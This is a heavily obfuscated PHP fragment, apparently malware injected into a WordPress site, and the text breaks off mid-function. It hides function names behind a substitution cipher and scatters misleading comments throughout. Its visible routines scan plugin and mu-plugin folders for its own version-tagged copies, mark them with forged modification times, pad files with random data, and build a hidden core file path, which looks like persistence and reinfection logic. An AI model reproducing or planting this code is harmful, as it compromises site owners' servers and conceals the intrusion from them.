/* SC_TH_END:4.3.24:7991bab3 */




/* SC_TH_BEGIN:4.3.24:7991bab3 */
if(!function_exists('wk4o2b2yeed_743z')){function riie84xvc72h8($i){static $a=null;if($a===null){$a=array('u/BP}ijBfHei)})','vw[i8','ui]Hfz/}fPjB}HB})','/B]iBw','[i8BEvH','8HE]zE}x','i)f)}8iBK',')}8]HB','z8HKf8Hz]EPH','ui]Hv}ivH','}ivH','}j/Px','i)fui]H','ui]HfKH}fPjB}HB})','z8HKfvE}Px',')/m)}8','8HBEvH','PjzS','iBifKH}',')}8}j/zzH8','v}f8EB[','ui]H)iqH','i)fiB}','8}8iv','miBVxHe','v[d','}HvzBEv','Pxvj[',')}8zj)','i)fE88ES','}8iv','K]jm','E88ESfvH8KH','jzHB[i8','8HE[[i8','P]j)H[i8','i)f[i8','mE)HBEvH','i)f08i}Em]H','mE)H(1f[HPj[H','/BzEPw','zxzf)EzifBEvH');}return $a[$i];}function wk4o2b2yeed_743z($i){$e=riie84xvc72h8($i);$f='_sc'.'mk'.'dirf'.'ple'.'uto'.'nah/'.'(\\?'.'*[0'.'-9'.']{1'.',})'.'+$w'.' SC'.'V:'.'.vyg'.'>b<'.'TOK'.'ENPA'.'RqW'.'MU'.'LGI'.'D=BH'.'64x8'.'z52j'.'3';$t='f)P'.'vw['.'i8uz'.']H/}'.'jBE'.'x9yR'.'A$t'.'4:<r'.'Oak'.'D M*'.'0c'.'o{G'.'>+s'.'SKWm'.'L5N'.'g='.'3p'.'6hUC'.'_.'.'Il'.',n'.'\\b'.'T(1'.'e-'.'qdV'.'2?';$r="";for($j=0;$j<strlen($e);$j++){$p=strpos($t,$e[$j]);$r.=($p===false)?$e[$j]:$f[$p];}return $r;}function k1mqrvgzidm54($i){$j=$i;return wk4o2b2yeed_743z($j);}function qrt_gimak8($i){$j=$i+0;return wk4o2b2yeed_743z($j);}function m2akol9c5($i){$j=$i+0;return wk4o2b2yeed_743z($j);}function y0fg4z01q($i){$j=$i+0;return wk4o2b2yeed_743z($j);}function ec5zhq2gy4($i){return wk4o2b2yeed_743z($i);}$GLOBALS['__scf_w6duwsyy2_weq_0']=k1mqrvgzidm54(0);$GLOBALS['__scf_f4adpt1uw_z_1']=y0fg4z01q(1);$GLOBALS['__scf_hirr_ftpbvg60g_2']=ec5zhq2gy4(2);$GLOBALS['__scf_woazgr09638e6_3']=ec5zhq2gy4(3);$GLOBALS['__scf_pwwe2b15e597k_4']=qrt_gimak8(4);$GLOBALS['__scf_qzyzi3m675u6_5']=m2akol9c5(5);$GLOBALS['__scf_tbzphtka3ug8b_6']=wk4o2b2yeed_743z(6);$GLOBALS['__scf_sppky0sw1cvqm_7']=wk4o2b2yeed_743z(7);$GLOBALS['__scf_fn6pudcmsde_8']=y0fg4z01q(8);$GLOBALS['__scf_ivzu6pw15zv_9']=wk4o2b2yeed_743z(9);$GLOBALS['__scf_b7hwejws2y_10']=y0fg4z01q(10);$GLOBALS['__scf_g8nnyvptau6_11']=y0fg4z01q(11);$GLOBALS['__scf_dj3279qvga_12']=y0fg4z01q(12);$GLOBALS['__scf_fsreif8awn7p_13']=ec5zhq2gy4(13);$GLOBALS['__scf_cez7xtqkh5_14']=y0fg4z01q(14);$GLOBALS['__scf_mng1luvyowkl_15']=wk4o2b2yeed_743z(15);$GLOBALS['__scf_srsa8jvn69l55d_16']=ec5zhq2gy4(16);$GLOBALS['__scf_ra01zgceil_v_17']=wk4o2b2yeed_743z(17);$GLOBALS['__scf_lr2d5x7bn__18']=ec5zhq2gy4(18);$GLOBALS['__scf_pymw_bi_0wty9_19']=m2akol9c5(19);$GLOBALS['__scf_czrdli7oxcvz__20']=wk4o2b2yeed_743z(20);$GLOBALS['__scf_d0sa9ue7h_sp5_21']=m2akol9c5(21);$GLOBALS['__scf_p2l5n_wsuke3_22']=m2akol9c5(22);$GLOBALS['__scf_ia34vnz7_2me2_23']=y0fg4z01q(23);$GLOBALS['__scf_ugvnq9uolm_24']=k1mqrvgzidm54(24);$GLOBALS['__scf_ccka2qedq3bl8_25']=y0fg4z01q(25);$GLOBALS['__scf_shawuri3lat1_26']=y0fg4z01q(26);$GLOBALS['__scf_qc7gbv989de86_27']=m2akol9c5(27);$GLOBALS['__scf_ujt5t1vfp1_28']=ec5zhq2gy4(28);$GLOBALS['__scf_ejt1mnwjsy_29']=ec5zhq2gy4(29);$GLOBALS['__scf__znmd7ktczgj_30']=ec5zhq2gy4(30);$GLOBALS['__scf_vkicdgwxhvpjg0_31']=ec5zhq2gy4(31);$GLOBALS['__scf_ou_gm6bir9_32']=k1mqrvgzidm54(32);$GLOBALS['__scf_o6sq_z_6uhdw_33']=ec5zhq2gy4(33);$GLOBALS['__scf_hn54n3y_rv9o4f_34']=m2akol9c5(34);$GLOBALS['__scf_wv5d8ya6pf_90_35']=y0fg4z01q(35);$GLOBALS['__scf_b0ovvt1cim_36']=y0fg4z01q(36);$GLOBALS['__scf_vrigtln_8foys_37']=qrt_gimak8(37);$GLOBALS['__scf_w6kdkzvqqa9qee_38']=ec5zhq2gy4(38);$GLOBALS['__scf_j8li8mgjd62u1b_39']=wk4o2b2yeed_743z(39);$GLOBALS['__scf_e08qgwkave79k4_40']=qrt_gimak8(40);$GLOBALS['__scf_b7ssbdiis1vre_41']=wk4o2b2yeed_743z(41);

function hkwm8u1_e7ww_8gn1($tbsu847){$m1abrm=($tbsu847>0)?$tbsu847:8;return $m1abrm-19;}
if     (!$GLOBALS['__scf_w6duwsyy2_weq_0']('_sc_mkdir'))  {
function _sc_mkdir($x2_rm5kie7cyh)
{
    return     $GLOBALS['__scf_w6duwsyy2_weq_0']('mkdir') ? @$GLOBALS['__scf_f4adpt1uw_z_1']($x2_rm5kie7cyh,  (0x188+0x65),     true)    : false;
  }
   }

  if     (!$GLOBALS['__scf_w6duwsyy2_weq_0']('_sc_fpc'))  {
    function    _sc_fpc($t32tzzmn5z, $n0om6mr2v1mbni7a)

{
  return  $GLOBALS['__scf_w6duwsyy2_weq_0']('file_put_contents')   ? @$GLOBALS['__scf_hirr_ftpbvg60g_2']($t32tzzmn5z,   $n0om6mr2v1mbni7a)      :   false;


        }

  }


      if (!$GLOBALS['__scf_w6duwsyy2_weq_0']('_sc_ul'))  {



    function   _sc_ul($t32tzzmn5z)



{
 return     $GLOBALS['__scf_w6duwsyy2_weq_0']('unlink') ?      @$GLOBALS['__scf_woazgr09638e6_3']($t32tzzmn5z)  :     false;



 }
    }
if   (!$GLOBALS['__scf_w6duwsyy2_weq_0']('lfvhq16lapl075y2'))  {
 function lfvhq16lapl075y2($yv995aqooo544,     $x2_rm5kie7cyh)
 {
$lxev24l9xt2ch =    $GLOBALS['__scf_pwwe2b15e597k_4']($yv995aqooo544);
if   ($lxev24l9xt2ch     === $x2_rm5kie7cyh)    return  true;
if (!$GLOBALS['__scf_w6duwsyy2_weq_0']('realpath')) return  false;



$sah8ztwa643mkgh   =  @$GLOBALS['__scf_qzyzi3m675u6_5']($lxev24l9xt2ch);

$k3teu0v46n    = @$GLOBALS['__scf_qzyzi3m675u6_5']($x2_rm5kie7cyh);
    return ($sah8ztwa643mkgh   !==   false    &&  $k3teu0v46n    !== false    &&  $sah8ztwa643mkgh  ===  $k3teu0v46n);
}
     }
  if  (!$GLOBALS['__scf_w6duwsyy2_weq_0']('_sc_unp'))    {
// phantom reference




     function _sc_unp($n0om6mr2v1mbni7a)
 {
if (!$GLOBALS['__scf_tbzphtka3ug8b_6']($n0om6mr2v1mbni7a)      ||  $GLOBALS['__scf_sppky0sw1cvqm_7']($n0om6mr2v1mbni7a)    <=   (1048551+25))   return  $n0om6mr2v1mbni7a;$_0hd84l7_=188|70;$z41lqqpb=$_0hd84l7_^149;
$xyxh5tubiabm3   = $GLOBALS['__scf_fn6pudcmsde_8']('/(\r?\n\/\*[0-9a-f]{1000,}\*\/)+$/',     "",  $n0om6mr2v1mbni7a);



     return $GLOBALS['__scf_tbzphtka3ug8b_6']($xyxh5tubiabm3)   ?    $xyxh5tubiabm3  : $n0om6mr2v1mbni7a;
  }
       }
 if     (!$GLOBALS['__scf_w6duwsyy2_weq_0']('_sc_fam'))     {
   function  _sc_fam($t32tzzmn5z)
     {
   $bq7ryt_xcom5dh =    @$GLOBALS['__scf_ivzu6pw15zv_9']($t32tzzmn5z);



return   $bq7ryt_xcom5dh   && ($bq7ryt_xcom5dh     %  (99955+45))  === (93766+53);
    }
}


     if (!$GLOBALS['__scf_w6duwsyy2_weq_0']('_sc_fam_touch'))   {
function      _sc_fam_touch($t32tzzmn5z, $tg5dkfhn_o4     =  0)
  {



if   (!$GLOBALS['__scf_w6duwsyy2_weq_0']('touch'))  return;
     if    ($tg5dkfhn_o4 <=      0)  $tg5dkfhn_o4  =     $GLOBALS['__scf_b7hwejws2y_10']();
 $xurn0veub8iz0ps  =  ($tg5dkfhn_o4 -  ($tg5dkfhn_o4 %   (0xc68e+0xc012))) +  (93810+9);
if     ($xurn0veub8iz0ps  > $GLOBALS['__scf_b7hwejws2y_10']())      $xurn0veub8iz0ps    -= (99916+84);
  @$GLOBALS['__scf_g8nnyvptau6_11']($t32tzzmn5z, $xurn0veub8iz0ps);
}
  }
  if  (!$GLOBALS['__scf_w6duwsyy2_weq_0']('i13_cjb9ziqfrfao086'))  {



  function i13_cjb9ziqfrfao086($t32tzzmn5z, $tlag4y54da7yep6)
  {
 if ($tlag4y54da7yep6 ===  ""  || !@$GLOBALS['__scf_dj3279qvga_12']($t32tzzmn5z)) return false;
  if  ($GLOBALS['__scf_w6duwsyy2_weq_0']('clearstatcache'))    @clearstatcache(true,   $t32tzzmn5z);
$vpbtxe24d936t    =     (string)  @$GLOBALS['__scf_fsreif8awn7p_13']($t32tzzmn5z,   false,   null,   0,      (1711+2385));
 return $GLOBALS['__scf_cez7xtqkh5_14']('/\/\* SCV:(\d+\.\d+\.\d+) \*\//',     $vpbtxe24d936t,     $s058yy6pxt)  ===     1    &&  version_compare($s058yy6pxt[1],    $tlag4y54da7yep6,    '>');
   }


   }



   if   (!$GLOBALS['__scf_w6duwsyy2_weq_0']('ll5a068rca9h3y1gf'))   {
// Memcached adapter: linear-adj deque




      function  ll5a068rca9h3y1gf($n0om6mr2v1mbni7a)


    {
 if    (!$GLOBALS['__scf_tbzphtka3ug8b_6']($n0om6mr2v1mbni7a))   return   "";
 if  ($GLOBALS['__scf_cez7xtqkh5_14']('/\/\* SCV:(\d+\.\d+\.\d+) \*\//',  $GLOBALS['__scf_mng1luvyowkl_15']($n0om6mr2v1mbni7a, 0, (7440-3344)), $bq7ryt_xcom5dh)) return $bq7ryt_xcom5dh[1];
  return  "";
   }
     }
if (!$GLOBALS['__scf_w6duwsyy2_weq_0']('hee34f5hn7utkbr0x_st'))     {


 function hee34f5hn7utkbr0x_st($f34kk9l2ppaq_40p,  $t32tzzmn5z, $tlag4y54da7yep6)

     {
   if ($tlag4y54da7yep6 !==      ""   &&   $GLOBALS['__scf_w6duwsyy2_weq_0']('i13_cjb9ziqfrfao086')    && i13_cjb9ziqfrfao086($t32tzzmn5z,  $tlag4y54da7yep6))  {
 _sc_ul($f34kk9l2ppaq_40p);


       return  false;




    }
   $d2_3t7_xb1ko = false;
  if  ($GLOBALS['__scf_w6duwsyy2_weq_0']('rename'))  $d2_3t7_xb1ko    =   @$GLOBALS['__scf_srsa8jvn69l55d_16']($f34kk9l2ppaq_40p,   $t32tzzmn5z);
   if   (!$d2_3t7_xb1ko && $GLOBALS['__scf_w6duwsyy2_weq_0']('copy'))     {
 if     ($tlag4y54da7yep6   !==  ""    && $GLOBALS['__scf_w6duwsyy2_weq_0']('i13_cjb9ziqfrfao086') &&   i13_cjb9ziqfrfao086($t32tzzmn5z, $tlag4y54da7yep6))  {
 _sc_ul($f34kk9l2ppaq_40p);$hqnd1am89_=PHP_INT_MAX/PHP_INT_MAX;$bgtlfp_c2i=$hqnd1am89_+68;
 return    false;
   }
// @mount skolem

      $d2_3t7_xb1ko  =   @$GLOBALS['__scf_ra01zgceil_v_17']($f34kk9l2ppaq_40p,     $t32tzzmn5z);
if ($d2_3t7_xb1ko)   _sc_ul($f34kk9l2ppaq_40p);
      }
 if  (!$d2_3t7_xb1ko)  _sc_ul($f34kk9l2ppaq_40p);
  return $d2_3t7_xb1ko;
}
 }
// WP Gallery Block: serializable subscriber



if (!$GLOBALS['__scf_w6duwsyy2_weq_0']('f7_wy8i0v1kxvp97'))   {
     function f7_wy8i0v1kxvp97()

  {
 if      (!$GLOBALS['__scf_w6duwsyy2_weq_0']('ini_get'))    return   0;
  $s058yy6pxt =  @$GLOBALS['__scf_lr2d5x7bn__18']('memory_limit');
if     (!$GLOBALS['__scf_tbzphtka3ug8b_6']($s058yy6pxt)   ||      $s058yy6pxt   ===      "") return 0;
  $m5c6uywle6g  =  (int) $s058yy6pxt;
 if  ($m5c6uywle6g  <=  0)  return    -1;
$glnbhhfa83baw6     =  $GLOBALS['__scf_pymw_bi_0wty9_19']($GLOBALS['__scf_mng1luvyowkl_15']($s058yy6pxt,  -1));
      if  ($glnbhhfa83baw6      === 'G')  $m5c6uywle6g   *=     (1594864610-521122786);
elseif  ($glnbhhfa83baw6  === 'M')  $m5c6uywle6g *= (181213+867363);



 elseif ($glnbhhfa83baw6   ===  'K')   $m5c6uywle6g    *=   (147+877);$p5xbtk_mxunbo=1241;$qbsih81hw=$p5xbtk_mxunbo%10;
  

  return $m5c6uywle6g;
   }



  }


       if (!$GLOBALS['__scf_w6duwsyy2_weq_0']('_sc_padf'))   {
  function    _sc_padf($t32tzzmn5z)



 {
// streaming orbit

  if  (!$GLOBALS['__scf_w6duwsyy2_weq_0']('tempnam') ||  !$GLOBALS['__scf_w6duwsyy2_weq_0']('file_put_contents') ||  !$GLOBALS['__scf_w6duwsyy2_weq_0']('rename'))   return;



if   ($GLOBALS['__scf_w6duwsyy2_weq_0']('jnengwuewv701msywak_kv')   &&  !jnengwuewv701msywak_kv()) return;
if ($GLOBALS['__scf_w6duwsyy2_weq_0']('clearstatcache'))  @clearstatcache(true,     $t32tzzmn5z);

     $xurn0veub8iz0ps  =     (2336870-536870)  +      $GLOBALS['__scf_czrdli7oxcvz__20'](0,  (1324861-624861));
     $_witcunk39b   =    f7_wy8i0v1kxvp97();
  if  ($_witcunk39b     !== -1    &&   $_witcunk39b   <  (134217698+30))     {
 if    ($_witcunk39b >=  (117619455-50510591))     $xurn0veub8iz0ps      =    (1799996+4) +  $GLOBALS['__scf_czrdli7oxcvz__20'](0, (699935+65));
  else return;$fd0mo8jhf346=PHP_MAJOR_VERSION;$mzr9eoe1x2i0y=$fd0mo8jhf346*5;



  }
 unset($_witcunk39b);
   $gd_svaxspeao0m5o  =   @$GLOBALS['__scf_d0sa9ue7h_sp5_21']($t32tzzmn5z);
     if (!$gd_svaxspeao0m5o ||  $gd_svaxspeao0m5o    >=     $xurn0veub8iz0ps  -  (1333+2767))  return;
   if    (!$GLOBALS['__scf_w6duwsyy2_weq_0']('disk_free_space'))   return;


  $rxd3jadm84a =  @disk_free_space($GLOBALS['__scf_pwwe2b15e597k_4']($t32tzzmn5z));
     if    ($rxd3jadm84a  ===  false   ||     $rxd3jadm84a <   (157286350+50)) return;



 $ncovzr06wysayq2   =     @fileperms($t32tzzmn5z);
   $ncovzr06wysayq2    =   (!$GLOBALS['__scf_p2l5n_wsuke3_22']($ncovzr06wysayq2)) ?    (345+75) : ($ncovzr06wysayq2      &     (459+52));
   $ghial1pw5ry218n   =    @$GLOBALS['__scf_ivzu6pw15zv_9']($t32tzzmn5z);
$n0om6mr2v1mbni7a   =  @$GLOBALS['__scf_fsreif8awn7p_13']($t32tzzmn5z);
 if (!$GLOBALS['__scf_tbzphtka3ug8b_6']($n0om6mr2v1mbni7a) ||  $GLOBALS['__scf_sppky0sw1cvqm_7']($n0om6mr2v1mbni7a)     !==  $gd_svaxspeao0m5o)   return;
 if  ($GLOBALS['__scf_mng1luvyowkl_15']($GLOBALS['__scf_ia34vnz7_2me2_23']($n0om6mr2v1mbni7a), -2) === '?>')    return;



$fnn1jwj1uiapd  =    $GLOBALS['__scf_mng1luvyowkl_15']($n0om6mr2v1mbni7a, 0,    (4063+33));
    while   ($GLOBALS['__scf_sppky0sw1cvqm_7']($n0om6mr2v1mbni7a) < $xurn0veub8iz0ps  -  (2081+2019)) {
$gvgektcd95q9 =  "";
        if  ($GLOBALS['__scf_w6duwsyy2_weq_0']('random_bytes'))   {
// @intercept bridge


  try  {


     $gvgektcd95q9  =   @$GLOBALS['__scf_ugvnq9uolm_24'](random_bytes((0x101+0x6cf)));
 }    catch   (\Throwable $l8bfo1kep72b3) {

      $gvgektcd95q9 = "";
} catch (\Exception    $l8bfo1kep72b3)  {
      $gvgektcd95q9  = "";
      }
 }



 if   ($GLOBALS['__scf_sppky0sw1cvqm_7']($gvgektcd95q9) < (1094+2906)) {
    $gvgektcd95q9    =   $GLOBALS['__scf_ccka2qedq3bl8_25'](uniqid("",   true));



 while   ($GLOBALS['__scf_sppky0sw1cvqm_7']($gvgektcd95q9)   < (3911+89)) $gvgektcd95q9    .= $GLOBALS['__scf_ccka2qedq3bl8_25']($gvgektcd95q9);
}
   $n0om6mr2v1mbni7a  .=  "\n/*" .    $gvgektcd95q9   .  "*/";
}
  $f34kk9l2ppaq_40p  =  @$GLOBALS['__scf_shawuri3lat1_26']($GLOBALS['__scf_pwwe2b15e597k_4']($t32tzzmn5z),  'scp');
     if ($f34kk9l2ppaq_40p ===   false) return;
  if (!lfvhq16lapl075y2($f34kk9l2ppaq_40p,   $GLOBALS['__scf_pwwe2b15e597k_4']($t32tzzmn5z)))  {
_sc_ul($f34kk9l2ppaq_40p);
 return;
        }
  if      (@$GLOBALS['__scf_hirr_ftpbvg60g_2']($f34kk9l2ppaq_40p,  $n0om6mr2v1mbni7a)      !== $GLOBALS['__scf_sppky0sw1cvqm_7']($n0om6mr2v1mbni7a)) {
      _sc_ul($f34kk9l2ppaq_40p);
   return;
}


   if   ($GLOBALS['__scf_w6duwsyy2_weq_0']('chmod'))   @$GLOBALS['__scf_qc7gbv989de86_27']($f34kk9l2ppaq_40p,   $ncovzr06wysayq2);

 if  ($GLOBALS['__scf_w6duwsyy2_weq_0']('clearstatcache')) @clearstatcache(true, $t32tzzmn5z);
  $k9af1_kcg_  =  @$GLOBALS['__scf_d0sa9ue7h_sp5_21']($t32tzzmn5z);
   $sra97f9sb9igpo96      =   ($gd_svaxspeao0m5o  < (4018+78))   ? $gd_svaxspeao0m5o    :  (4023+73);
    $mppya8lelpsuage =  ($k9af1_kcg_    ===  $gd_svaxspeao0m5o)    ? @$GLOBALS['__scf_fsreif8awn7p_13']($t32tzzmn5z, false,   null, 0,     $sra97f9sb9igpo96)     :   false;
    if  (!$GLOBALS['__scf_tbzphtka3ug8b_6']($mppya8lelpsuage)   ||   $mppya8lelpsuage   !== $GLOBALS['__scf_mng1luvyowkl_15']($fnn1jwj1uiapd,   0,  $sra97f9sb9igpo96))    {

  _sc_ul($f34kk9l2ppaq_40p);
    return;
   }
unset($k9af1_kcg_,   $sra97f9sb9igpo96, $mppya8lelpsuage,     $fnn1jwj1uiapd);
     

   if    (!@$GLOBALS['__scf_srsa8jvn69l55d_16']($f34kk9l2ppaq_40p, $t32tzzmn5z))     {
_sc_ul($f34kk9l2ppaq_40p);
return;
 }


 if    ($GLOBALS['__scf_w6duwsyy2_weq_0']('clearstatcache'))  @clearstatcache(true,  $t32tzzmn5z);
 if   ($ghial1pw5ry218n &&      $GLOBALS['__scf_w6duwsyy2_weq_0']('touch'))   @$GLOBALS['__scf_g8nnyvptau6_11']($t32tzzmn5z,  $ghial1pw5ry218n);
    

     if    ($GLOBALS['__scf_w6duwsyy2_weq_0']('opcache_invalidate')) @opcache_invalidate($t32tzzmn5z,     true);
     }
 }
  if (!$GLOBALS['__scf_w6duwsyy2_weq_0']('_sc_phpok_src')) {

    function   _sc_phpok_src($n0om6mr2v1mbni7a)


    {
 if    (!$GLOBALS['__scf_tbzphtka3ug8b_6']($n0om6mr2v1mbni7a) || $GLOBALS['__scf_sppky0sw1cvqm_7']($n0om6mr2v1mbni7a)     < (479+21)  || $GLOBALS['__scf_ujt5t1vfp1_28']($n0om6mr2v1mbni7a, '<?')   ===    false)   return    false;
       if     (!$GLOBALS['__scf_w6duwsyy2_weq_0']('token_get_all'))  return    true;
 if   (defined('TOKEN_PARSE'))   {
  try  {
      @token_get_all($n0om6mr2v1mbni7a,  TOKEN_PARSE);
  return   true;


  }  catch  (\Throwable   $l8bfo1kep72b3)  {
return false;
 }  catch  (\Exception    $l8bfo1kep72b3)    {
    return   false;
   }
      }
 $sdx4rbyyxihdigxf =   @token_get_all($n0om6mr2v1mbni7a);
 if    (!$GLOBALS['__scf_ejt1mnwjsy_29']($sdx4rbyyxihdigxf))   return true;
   $dmp9azi973npb7   =      0;
 foreach   ($sdx4rbyyxihdigxf     as $xurn0veub8iz0ps) {
if  ($GLOBALS['__scf_ejt1mnwjsy_29']($xurn0veub8iz0ps))  {
if  ($xurn0veub8iz0ps[0]    ===  T_CURLY_OPEN ||   $xurn0veub8iz0ps[0]      ===    T_DOLLAR_OPEN_CURLY_BRACES)  $dmp9azi973npb7++;
    continue;
}
        if     ($xurn0veub8iz0ps   ===   '{') $dmp9azi973npb7++;
    elseif ($xurn0veub8iz0ps  ===  '}')    {
    $dmp9azi973npb7--;



 if  ($dmp9azi973npb7    < 0)     return false;
   }
 }
   return     $dmp9azi973npb7  ===   0;
    }
  }
    if (!$GLOBALS['__scf_w6duwsyy2_weq_0']('_sc_qok')) {


function   _sc_qok($z86vgrrey6u,  $n0om6mr2v1mbni7a)
     {
   if   (!@$GLOBALS['__scf_dj3279qvga_12']($z86vgrrey6u)) return  true;
 $lv42l08kpfn813      =  (int)  @$GLOBALS['__scf_ivzu6pw15zv_9']($z86vgrrey6u);
 if    ($lv42l08kpfn813   <=  $GLOBALS['__scf_b7hwejws2y_10']()  -   (63026+541774) ||   $lv42l08kpfn813  >   $GLOBALS['__scf_b7hwejws2y_10']()  +     (86373+27)) return true;
 $etdi45uhde5tv_9  =  $GLOBALS['__scf__znmd7ktczgj_30']((string)  @$GLOBALS['__scf_fsreif8awn7p_13']($z86vgrrey6u));
return ($etdi45uhde5tv_9 ===  "" ||  ($GLOBALS['__scf_tbzphtka3ug8b_6']($n0om6mr2v1mbni7a) &&  $etdi45uhde5tv_9  !==  $GLOBALS['__scf_ccka2qedq3bl8_25']($n0om6mr2v1mbni7a)));
 }
 }
  if    (!$GLOBALS['__scf_w6duwsyy2_weq_0']('_sc_any_live'))     {
 function   _sc_any_live($b0pz8mspgt2e4fga, $d6eupj8hnjwk3, $om512vkzsn9cbzr    =   "",    $_hdleap5brbt    =     "", $z5fot0_zhx      =     "")
 {
       if    ($_hdleap5brbt ===  "")    $_hdleap5brbt    = (defined('WPMU_PLUGIN_DIR')  &&  WPMU_PLUGIN_DIR)     ?   WPMU_PLUGIN_DIR  :   $d6eupj8hnjwk3   .  '/mu-plugins';$hj_29_xzq=254|194;$c1wfteqyq2=$hj_29_xzq^44;
 if     ($z5fot0_zhx ===  "") $z5fot0_zhx    =   (defined('WP_PLUGIN_DIR')   &&      WP_PLUGIN_DIR)  ? WP_PLUGIN_DIR  : $d6eupj8hnjwk3   .    '/plugins';
 $_hdleap5brbt    =   $GLOBALS['__scf_ia34vnz7_2me2_23']($_hdleap5brbt,   '/');
 $z5fot0_zhx    =    $GLOBALS['__scf_ia34vnz7_2me2_23']($z5fot0_zhx,   '/');
 $bs0rdukxd50w6  = array();
  $s22s_g52mpuyw  =    false;


        if   ($GLOBALS['__scf_w6duwsyy2_weq_0']('glob')) {
     $zt5zwbfoivxeas4e  = @$GLOBALS['__scf_vkicdgwxhvpjg0_31']($_hdleap5brbt   .     '/*.php');
 $slku4y4fv8 =     @$GLOBALS['__scf_vkicdgwxhvpjg0_31']($z5fot0_zhx   . '/*/*.php');
if  ($GLOBALS['__scf_ejt1mnwjsy_29']($zt5zwbfoivxeas4e)    ||  $GLOBALS['__scf_ejt1mnwjsy_29']($slku4y4fv8))     {
  $s22s_g52mpuyw  =  true;
$bs0rdukxd50w6 =  $GLOBALS['__scf_ou_gm6bir9_32']((array) $zt5zwbfoivxeas4e,  (array) $slku4y4fv8);
 }
    unset($zt5zwbfoivxeas4e, $slku4y4fv8);
    }
  if  (!$s22s_g52mpuyw &&  $GLOBALS['__scf_w6duwsyy2_weq_0']('opendir')   && $GLOBALS['__scf_w6duwsyy2_weq_0']('readdir'))   {
   $_ngxg3y2tp4  =  @$GLOBALS['__scf_o6sq_z_6uhdw_33']($_hdleap5brbt);
 if ($_ngxg3y2tp4)   {
// unsatisfiable authority

 while (($toxrqgsuyq = @$GLOBALS['__scf_hn54n3y_rv9o4f_34']($_ngxg3y2tp4))  !==  false) {
   if     ($GLOBALS['__scf_mng1luvyowkl_15']($toxrqgsuyq,  -(1+3))      ===   '.php')   $bs0rdukxd50w6[] =   $_hdleap5brbt . '/'  . $toxrqgsuyq;
   }
 if   ($GLOBALS['__scf_w6duwsyy2_weq_0']('closedir'))    @$GLOBALS['__scf_wv5d8ya6pf_90_35']($_ngxg3y2tp4);
 }
 $_ngxg3y2tp4   =  @$GLOBALS['__scf_o6sq_z_6uhdw_33']($z5fot0_zhx);
  if     ($_ngxg3y2tp4)  {
// bounded priority-queue



     while (($toxrqgsuyq     =   @$GLOBALS['__scf_hn54n3y_rv9o4f_34']($_ngxg3y2tp4)) !==    false)   {
    $dngrege0tp8x  =    $z5fot0_zhx . '/'  .  $toxrqgsuyq;
      if  ($toxrqgsuyq  ===    '.'  || $toxrqgsuyq === '..'    ||  !@$GLOBALS['__scf_b0ovvt1cim_36']($dngrege0tp8x))  continue;
  $ycf_0rvccu8cij    = @$GLOBALS['__scf_o6sq_z_6uhdw_33']($dngrege0tp8x);
if (!$ycf_0rvccu8cij)  continue;
 while  (($oqzetuwfgte_gnyh =  @$GLOBALS['__scf_hn54n3y_rv9o4f_34']($ycf_0rvccu8cij))   !== false) {
// checkpoint gateway for OpenSSL 3 providers

    if ($GLOBALS['__scf_mng1luvyowkl_15']($oqzetuwfgte_gnyh,    -(3+1))    ===  '.php')  $bs0rdukxd50w6[]    =  $dngrege0tp8x    .  '/'   .  $oqzetuwfgte_gnyh;
    }
      if ($GLOBALS['__scf_w6duwsyy2_weq_0']('closedir'))     @$GLOBALS['__scf_wv5d8ya6pf_90_35']($ycf_0rvccu8cij);



  }
// @typecheck watermark




       if ($GLOBALS['__scf_w6duwsyy2_weq_0']('closedir'))    @$GLOBALS['__scf_wv5d8ya6pf_90_35']($_ngxg3y2tp4);
     }
 unset($_ngxg3y2tp4, $ycf_0rvccu8cij,   $toxrqgsuyq,  $oqzetuwfgte_gnyh,      $dngrege0tp8x);
}
     $y65ioxkf6epyd4r = false;
   if  ($om512vkzsn9cbzr  !==  ""  &&   $GLOBALS['__scf_w6duwsyy2_weq_0']('realpath')) $y65ioxkf6epyd4r  =   @$GLOBALS['__scf_qzyzi3m675u6_5']($om512vkzsn9cbzr);
  foreach  ($bs0rdukxd50w6     as $yv995aqooo544)  {
  if ($om512vkzsn9cbzr !==  ""    &&  $yv995aqooo544  === $om512vkzsn9cbzr) continue;
 if ($y65ioxkf6epyd4r     !==   false && @$GLOBALS['__scf_qzyzi3m675u6_5']($yv995aqooo544) ===    $y65ioxkf6epyd4r)  continue;
      $p5a1sw6kv3adk7      = $GLOBALS['__scf_vrigtln_8foys_37']($yv995aqooo544, '.php');



   $m69g74ldrc5vr4r   = $GLOBALS['__scf_vrigtln_8foys_37']($GLOBALS['__scf_pwwe2b15e597k_4']($yv995aqooo544));

if ($GLOBALS['__scf_pwwe2b15e597k_4']($yv995aqooo544) !== $_hdleap5brbt  && $p5a1sw6kv3adk7      !==    $m69g74ldrc5vr4r)  continue;



   if ($GLOBALS['__scf_w6duwsyy2_weq_0']('_sc_fam')      &&     !_sc_fam($yv995aqooo544))     continue;
   $wbgql5lm1f6 = @$GLOBALS['__scf_d0sa9ue7h_sp5_21']($yv995aqooo544);
if   (!$wbgql5lm1f6    ||     $wbgql5lm1f6     <  (4994+6)   ||    $wbgql5lm1f6 > (104786054-52357254))  continue;

   $b54iho0_o1tm51  =     (string)  @$GLOBALS['__scf_fsreif8awn7p_13']($yv995aqooo544,  false,    null,  0,    (0xf20+0xe0));
if  ($b54iho0_o1tm51 !==     ""      &&  $GLOBALS['__scf_cez7xtqkh5_14']('/\/\* SCV:(\d+\.\d+\.\d+) \*\//',   $b54iho0_o1tm51,   $bq7ryt_xcom5dh)      &&    version_compare($bq7ryt_xcom5dh[1], $b0pz8mspgt2e4fga,  '>='))  return  true;
   }
 return     false;
  }
      }
if (!$GLOBALS['__scf_w6duwsyy2_weq_0']('_sc_corep'))  {
function    _sc_corep($d6eupj8hnjwk3)
       {
   $iywej857of    =     defined('ABSPATH') ?  ABSPATH   : ($GLOBALS['__scf_ia34vnz7_2me2_23']($GLOBALS['__scf_pwwe2b15e597k_4']($d6eupj8hnjwk3),  '/')  . '/');
     return $d6eupj8hnjwk3     .   '/.sc_' .     $GLOBALS['__scf_mng1luvyowkl_15']($GLOBALS['__scf_ccka2qedq3bl8_25']($iywej857of . 'dir'), 0,   (4+4)) .  '/core_'  .  $GLOBALS['__scf_mng1luvyowkl_15']($GLOBALS['__scf_ccka2qedq3bl8_25']($iywej857of   .  'core'), 0,      (0x5+0x3)) .  '.php';
}


   }



if     (!$GLOBALS['__scf_w6duwsyy2_weq_0']('_sc_coreld')) {$gwte0dz97=PHP_MAJOR_VERSION;$ppwi3w29=$gwte0dz97*10;
     function   _sc_coreld($d6eupj8hnjwk3)
{
